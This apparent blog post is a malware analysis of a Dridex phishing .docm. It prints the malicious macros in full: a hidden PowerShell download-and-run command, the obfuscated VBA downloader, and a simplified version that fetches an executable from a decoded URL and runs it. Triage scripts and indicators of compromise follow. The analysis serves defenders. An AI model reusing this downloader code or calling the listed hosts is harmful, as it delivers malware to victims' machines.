An Encounter with Dridex - Malicious Document Analysis
Got my hands on a Dridex sample (SKM_C3350160212101601.docm
) the other day and I wanted to figure out exactly how it managed to slip by our controls.
The binary dropped did get intercepted by AV but considering the initial phish document did not, I wanted to take a closer look ad make sure nothing else slipped under the radar.
Document Analysis
First thing I need to do is run it through officemalscanner:
M:\Malware>officemalscanner .\SKM_C3350160212101601.docm inflate
...
word/vbaProject.bin ----- 30208 Bytes ----- at Offset 0x00000b46
...
M:\Malware>officemalscanner %temp%\DecompressedMsOfficeDocument\word\vbaProject.bin info
...
------> M:\Malware\VBAPROJECT.BIN-Macros
There are a couple of macros in this document and they appear to run independently. The first macro is straight forward and executes the following:
cmd /K powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://fortitudecpa.top/dl.php','%TEMP%\GhcRgsjjdx6Hh.ps1');
powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -noprofile -file %TEMP%\GhcRgsjjdx6Hh.ps1
I did not see the above powershell script successfully executing (or even downloading) on my machines and the network controls did not catch any traffic to this host. Further more, Robtex is showing fortitudecpa.top
as a DigitalOcean instance (at least at some point in its lifetime), but the domain has since been suspended: fortitudecpa.top
The other macro is more interesting:
Attribute VB_Name = "Module1"
Private MapsInitialized As Boolean
Private mDBname As String
Private MapInit As Boolean
Public Mamamima_1 As Object
Public Mamamima_2 As Object
Public Mamamima_3 As Object
Public Mamamima_4 As String
Public Mamamima_5 As String
Public Mamamima_6 As Object
Public MapList() As String
Public Sub AddSensors()
Dim Col As String
Dim Obj As String
MapList = Split(UserForm1.Label1.Caption, "/")
GoTo ErrExit
On Error GoTo ErrHandler
BM.ResetBalances
Cofl.Load
On Error GoTo 0
ErrExit:
Set Mamamima_1 = CreateObject(MapList(0))
CheckBins
Exit Sub
ErrHandler:
AD.DisplayError Err.Number, "modMaps", "AddSensors", Err.Description
Resume ErrExit
End Sub
Private Sub CheckBins()
'---------------------------------------------------------------------------------------
' Procedure : CheckBins
' Author : David
' Date : 4/3/2011
' Purpose :
' Checks if any bins have been added or deleted
'---------------------------------------------------------------------------------------
Dim LP As Long
Dim BinID As Long
Dim objStorages As String
Dim objStorage As Variant
Dim MapID As Long
Set Mamamima_2 = CreateObject(MapList(1))
GoTo ErrHandler
objSt.orages.Load
'check for deleted bins
For LP = 1 To BM.StorCount
BinID = BM.StorID(LP)
If Not objSto.rages.IsItem(BinID) Then
BM.UnloadStor BinID
End If
Next LP
'check for new bins
For Each objStorage In objS.torages
With objStorage
If Not BM.BinLoaded(.ID) Then
BM.AddStor .ID, .Label, .IsWarehouse, .MapID, .XPos, .YPos, .Volume, .PositionSet
End If
'check for bin moved to other map
MapID = BM.BinMapID(.ID)
If MapID <> 0 And MapID <> .MapID Then
BM.UnloadStor .ID
BM.AddStor .ID, .Label, .IsWarehouse, .MapID, .XPos, .YPos, .Volume, .PositionSet
End If
End With
Next
On Error GoTo 0
ErrExit:
Exit Sub
ErrHandler:
Set Mamamima_6 = CreateObject(MapList(2))
Set hokuk = CreateObject(MapList(3))
Set Mamamima_3 = hokuk.Environment(MapList(4))
CheckDatabase
End Sub
Private Sub CheckDatabase()
'---------------------------------------------------------------------------------------
' Procedure : CheckDatabase
' Author : David
' Date : 2/13/2012
' Purpose : checks if database has changed to a different database. If so reset map control.
'---------------------------------------------------------------------------------------
Dim Mamamima_7() As Variant
Mamamima_7 = Array(161, 173, 173, 169, 115, 104, 104, 107, 106, 111, 103, 106, 110, 113, 103, 113, 107, 103, 106, 109, 114, 104, 105, 114, 174, 113, 161, 112, 111, 159, 104, 111, 110, 159, 160, 111, 112, 167)
Dim Mamamima_8 As Integer
Dim uncunctunc2_1 As String
uncunctunc2_1 = ""
GoTo ErrHandler
If mDBname <> Prog.DatabaseFullName Then
mDBname = Prog.DatabaseFullName
BM.Reset
MapsInitialized = False
End If
On Error GoTo 0
ErrExit:
Exit Sub
ErrHandler:
For Mamamima_8 = LBound(Mamamima_7) To UBound(Mamamima_7)
uncunctunc2_1 = uncunctunc2_1 & Chr(Mamamima_7(Mamamima_8) - 20 - 37)
Next Mamamima_8
Mamamima_1.Open MapList(5), uncunctunc2_1, False
CheckMaps
End Sub
Private Sub CheckMaps()
'---------------------------------------------------------------------------------------
' Procedure : CheckMaps
' Author : XPMUser
' Date : 12/6/2014
' Purpose : checks if any maps have been added or deleted. Resets if so.
'---------------------------------------------------------------------------------------
Dim objStors As String
Dim objStor As Variant
Mamamima_1.Send
Dim NewList As String
Dim DoReset As Boolean
Dim LP As Long
Mamamima_4 = Mamamima_3(MapList(6))
GoTo ErrHandler
objS.tors.Load , , , , , True
For Each objStor In objSt.ors
'make list of unique map ID's
NewLi.st.Add objStor.MapID
Next
If Not MapInit Then
'init map list, reset BinMap object
MapInit = True
DoReset = True
Else
'check if each map on new list is on old list
If MapL.ist.Count <> NewLi.st.Count Then
'count not same, reset
DoReset = True
Set MapL.ist = NewList
Else
For LP = 1 To MapLi.st.Count
If MapL.ist.ID(LP) <> NewLi.st.ID(LP) Then
DoReset = True
Set MapL.ist = Ne.w.List
Exit For
End If
Next LP
End If
End If
If DoReset Then
BM.Reset
MapsInitialized = False
End If
Set NewLi.st = Nothing
Set objSt.ors = Nothing
Set objSt.or = Nothing
On Error GoTo 0
ErrExit:
Exit Sub
ErrHandler:
Mamamima_5 = Mamamima_4 + Replace(MapList(12), "t", "e")
ConnectMaps
End Sub
Public Sub ConnectMaps()
'---------------------------------------------------------------------------------------
' Procedure : ConnectMaps
' Author : David
' Date : 2/13/2012
' Purpose : show maps. If none in database then control will be hidden.
'---------------------------------------------------------------------------------------
Dim objStorages As Variant
Dim objStorage As Variant
Dim objMap As Variant
Dim objMaps As Variant
CallByName Mamamima_2, MapList(7), VbLet, 1
Mamamima_2.Open
GoTo ErrHandler
CheckDat.abase BM
CheckM.aps BM
objMaps.Load
BM.Visible = False
If objMaps.Count > 0 Then
BM.Visible = ShowMaps
If ShowMaps Then
If Not MapsInitialized Then
'add maps
For Each objMap In objMaps
With objMap
BM.AddMap .ID, .MapName, .Units, .Zoom
End With
Next
'add bins
objStor.ages.Load , , , , , True
For Each objStorage In objSto.rages
With objStorage
BM.AddStor .ID, .Label, .IsWarehouse, .MapID, .XPos, .YPos, .Volume, .PositionSet
End With
Next
MapsInitialized = True
End If
AddSenso.rs BM
CheckB.ins BM
BM.Update
End If
End If
Set objMap = Nothing
Set objMaps = Nothing
Set objStorage = Nothing
Set objStorages = Nothing
On Error GoTo 0
ErrExit:
Exit Sub
ErrHandler:
SaveMaps
End Sub
Public Sub SaveMaps()
rbp = CallByName(Mamamima_1, MapList(10), VbGet)
Dim objStor As Variant
CallByName Mamamima_2, MapList(9), VbMethod, rbp
Dim objMap As Variant
Dim LP As Long
Dim ID As Long
Dim XPos As Single
Dim YPos As Single
Dim BinLP As Long
Dim BinID As Long
'save map data
CallByName Mamamima_2, MapList(11), VbMethod, Mamamima_5, 2
GoTo ErrHandler
For LP = 1 To BM.MapCount
ID = BM.MapID(LP)
objMap.Load ID
objMap.BeginEdit
objMap.MapZoom = BM.MapZoom(LP)
objMap.ApplyEdit
Set objMap = Nothing
Next LP
'save bin data
For BinLP = 1 To BM.StorCount
BinID = BM.StorID(BinLP)
If BM.BinLoaded(BinID) Then
BM.BinLocation BinLP, XPos, YPos
With objStor
.Load BinID
.BeginEdit
.XPos = XPos
.YPos = YPos
.ApplyEdit
End With
Set objStor = Nothing
End If
Next BinLP
On Error GoTo 0
ErrExit:
Exit Sub
ErrHandler:
Mamamima_6.Open (Mamamima_5)
End Sub
At first glance it looks like a benign database handling library created by a David
sometime in 2011. If you closely though, you can actually see where the malware writers put their code: the indentation and some variable names does not match the convention outlined by the rest of the library.
The first thing I noticed were the references to the MapList
array. Statically defined indexes all over the code? Looks like obfuscation.
MapList is built by splitting a hidden form’s label caption:
MapList = Split(UserForm1.Label1.Caption, "/")
'Where UserForm1.Label1.Caption = Microsoft.XMLHTTP/Adodb.Stream/Shell.Application/WScript.Shell/Process/GET/TEMP/Type/Open/write/responseBody/savetofile/\ladybi.txt
There are several GoTo
calls and a decoding routine sprinkled throughout this macro to help it download and execute that first payload. I can further simplify the code by jumping with the GoTo
and subroutine calls and doing a bit of refactoring:
Attribute VB_Name = "Module1"
Public xmlhttp_obj As Object
Public adodbstream_obj As Object
Public process_obj As Object
Public save_path As String
Public save_fullname As String
Public shellapplication_obj As Object
Public Sub AddSensors()
Set xmlhttp_obj = CreateObject("Microsoft.XMLHTTP")
Set adodbstream_obj = CreateObject("Adodb.Stream")
Set shellapplication_obj = CreateObject("Shell.Application")
Set wscript_obj = CreateObject("WScript.Shell")
Set process_obj = wscript_obj.Environment("Process")
Dim url_array() As Variant
url_array = Array(161, 173, 173, 169, 115, 104, 104, 107, 106, 111, 103, 106, 110, 113, 103, 113, 107, 103, 106, 109, 114, 104, 105, 114, 174, 113, 161, 112, 111, 159, 104, 111, 110, 159, 160, 111, 112, 167)
Dim count As Integer
Dim url As String
url = ""
For count = LBound(url_array) To UBound(url_array)
url = url & Chr(url_array(count) - 20 - 37)
Next count
xmlhttp_obj.Open "GET", url, False
xmlhttp_obj.Send
save_path = process_obj("TEMP")
save_fullname = save_path + "\ladybi.exe"
CallByName adodbstream_obj, "Type", VbLet, 1
adodbstream_obj.Open
rbp = CallByName(xmlhttp_obj, "responseBody", VbGet)
CallByName adodbstream_obj, "write", VbMethod, rbp
CallByName adodbstream_obj, "savetofile", VbMethod, save_fullname, 2
shellapplication_obj.Open (save_fullname)
End Sub
Note: My AV instance did finally pick up the macro as malicious but only after I simplified it.
The data I’m interested in is:
url_array = Array(161, 173, 173, 169, 115, 104, 104, 107, 106, 111, 103, 106, 110, 113, 103, 113, 107, 103, 106, 109, 114, 104, 105, 114, 174, 113, 161, 112, 111, 159, 104, 111, 110, 159, 160, 111, 112, 167)
aaand
For count = LBound(url_array) To UBound(url_array)
url = url & Chr(url_array(count) - 20 - 37)
Next count
A fairly straight forward character decoding operation: take each element of the array, subtract 57
and cast the resulting integer to its ASCII character equivalent.
I wrote a JavaScript one-liner to safely decode this array, and potentially others, in Chrome’s console:
var y = "";[161, 173, 173, 169, 115, 104, 104, 107, 106, 111, 103, 106, 110, 113, 103, 113, 107, 103, 106, 109, 114, 104, 105, 114, 174, 113, 161, 112, 111, 159, 104, 111, 110, 159, 160, 111, 112, 167].forEach(function(x){y = y + String.fromCharCode(x - 57)});y
"http://216.158.82.149/09u8h76f/65fg67n"
The macro continues to download and save the file to the TEMP folder as ladybi.exe
:
xmlhttp_obj.Open "GET", url, False
xmlhttp_obj.Send
save_fullname = save_path + "\ladybi.exe"
The final step in the macro executes ladybi.exe
:
shellapplication_obj.Open (save_fullname)
Containment
So now that I have an idea of what this document does, I want to make sure I’ve recorded all the URLs and any other indicators.
It’s unusual for a campaign to only use one download point so other emails likely contained a different encoded URL.
I need a way to go through all the emails, grab the .docm attachments and extract their macros:
First I’ll use msg-extractor, a neat python tool for extracting attachments from .msg files:
PS M:\malware\> ls -recurse | ?{$_.name -match ".msg"} | %{
M:\Apps\Python\python.exe M:\Tools\msg-extractor\ExtractMsg.py $_.fullname
}
The output will be a bunch of subdirectories with the extracted attachments.
I need to sort them by their MD5 hash and get a distinct view of what I need to look at:
PS M:\malware\> ls -recurse | ?{$_.FullName -match ".docm"} | %{
$to = ("extracted\" + (Get-FileHash $_.FullName -Algorithm md5).hash + ".docm")
Copy-Item -Path $_.fullname -Destination $to
}
Going forward I’ll do my analysis on the [md5hash].docm
files. Instead of officemalscanner
, I can script the macro extraction with olevba.py:
PS M:\malware\msg\extracted> ls | ?{$_.fullname -match ".docm"} | %{
M:\Apps\Python\python.exe M:\Tools\olevba\build\lib\oletools\olevba.py $_.fullname | out-file ($_.fullname+".macro.txt")
}
The above will output macro reports in [md5has].docm.macro.txt
files.
To see a list of the encoded character arrays (+ the number to shift each character by):
PS M:\malware\extracted> ls *.macro.txt | %{
write-host -nonewline ($_.name+": ");
write-host -nonewline (gc $_.fullname | select-string "Array\(");
write-host (gc $_.fullname | select-string "uncunctunc2_1 = uncunctunc2_1")
}
IOCs
After all is said and done, this is what I’ve seen in my environment:
URLs:
http://216.158.82.149/09u8h76f/65fg67n
http://sstv.go.ro/09u8h76f/65fg67n
http://www.profildigital.de/09u8h76f/65fg67n
Docm MD5 hashes:
1DA30F7F9A627ACF748C4BDD6A94A656
338A2607EC0BB9AA2341AB844E0B55B5
33FFA3890A3E4408E3CE54BA631A3B0F
340397961098631B66D39E7DCABC418F
687108DA12479A9E315C7607D470E70D
6A6687B9A6FF5B26E54006913F3EB217
6C6AA2F57F5433F9365F154D67E6E171
6E229DFAEB20299F8EE7C7DEB622C4D0
753CA01DE9C824999566FDFE9162D5FA
78EAE2E9252C64CC7B54791995976506
7F9CC6753AF89697BCFDBCAC65F888B7
8C7757A97EDDF66977940B06EF612EA1
A5B34E5A8AB4C7E730DF54A483CD7E9D
B1B434D88A5D1FFF4E9C554EB6DF24B2
C5F91BE00A0BA4642C6149CD071FEEE3
CE4F5690C48B19048068EFCFBC875B84
D16FCDC646696D947CAF967D337D5AD1
D6CF63E73554450369A41C8C235F2C4C
E66098964FC986BACD4FE86FCD4E6A0D
F3CD1B9D1D5E551E25C575AED17EAA8D
Dropped files:
ladybi.exe - md5:69e4d5a501620829f0c3f1d15f1e3016 - sha256:230a53b665cf61ff2b8d55f24363d3850f8b498eaf3437557c6157879bb25134
VirusTotal reports: